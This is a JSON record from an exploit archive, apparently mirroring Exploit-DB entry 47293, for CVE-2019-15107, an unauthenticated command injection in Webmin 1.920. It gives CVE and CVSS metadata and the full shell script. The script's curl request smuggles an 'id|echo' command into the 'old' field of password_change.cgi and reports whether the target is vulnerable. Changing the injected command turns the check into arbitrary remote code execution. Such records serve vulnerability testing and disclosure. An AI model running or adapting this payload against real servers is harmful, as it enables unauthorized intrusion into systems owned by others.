{"exploit":{"id":"EDB-47293","name":"Webmin 1.920 - Remote Code Execution (RCE)","description":"Webmin 1.920 - Remote Code Execution (RCE)","cves":["CVE-2019-15107"],"author":"Fernando A. Lagos B","published":"2019-08-19","platform":"linux","type":"webapps","language":"Shell","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/47293","path":"exploits/linux/webapps/47293.sh","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-47293.sh","vulnerabilities":[{"id":"CVE-2019-15107","state":"PUBLISHED","title":null,"titleSource":null,"description":"An issue was discovered in Webmin <=1.920. The parameter old in password_change.cgi contains a command injection vulnerability.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15107","cvss":{"version":"3.1","baseScore":9.8,"severity":"critical","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2019-15107"},"updatedAt":"2026-08-06T03:55:32.205Z","retrievedAt":"2026-11-26T08:16:10.824Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-47293.png?v=2","url":"https://exploitbin.com/exploits/EDB-47293","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-47293/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-47293/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/bin/sh\n#\n# CVE-2019-15107 Webmin Unauhenticated Remote Command Execution\n# based on Metasploit module https://www.exploit-db.com/exploits/47230\n# Original advisory: https://pentest.com.tr/exploits/DEFCON-Webmin-1920-Unauthenticated-Remote-Command-Execution.html\n# Alternative advisory (spanish): https://blog.nivel4.com/noticias/vulnerabilidad-de-ejecucion-de-comandos-remotos-en-webmin\n#\n# Fernando A. Lagos B. (Zerial)\n# https://blog.zerial.org\n# https://blog.nivel4.com\n#\n# The script sends a flag by a echo command then grep it. If match, target is vulnerable.\n#\n# Usage: sh CVE-2019-15107.sh https://target:port\n# Example: sh CVE-2019-15107.sh https://localhost:10000\n# output: Testing for RCE (CVE-2019-15107) on https://localhost:10000: VULNERABLE!\n#\n\nFLAG=\"f3a0c13c3765137bcde68572707ae5c0\"\nURI=$1;\n\necho -n \"Testing for RCE (CVE-2019-15107) on $URI: \";\ncurl -ks $URI'/password_change.cgi' -d 'user=wheel&pam=&expired=2&old=id|echo '$FLAG'&new1=wheel&new2=wheel' -H 'Cookie: redirect=1; testing=1; sid=x; sessiontest=1;' -H \"Content-Type: application/x-www-form-urlencoded\" -H 'Referer: '$URI'/session_login.cgi'|grep $FLAG>/dev/null 2>&1\n\nif [ $? -eq 0 ];\nthen\n\techo '\\033[0;31mVULNERABLE!\\033[0m'\nelse\n\techo '\\033[0;32mOK! (target is not vulnerable)\\033[0m'\nfi\n#EOF","sha256":"9c1201f4d01488a5f27683c02dc9c71704ba300d218ff96663c8caa5ff3cb6ef","bytes":1278,"fetchedAt":"2026-11-26T15:11:30.093Z","encoding":"utf-8 (display only; download retains original bytes)"}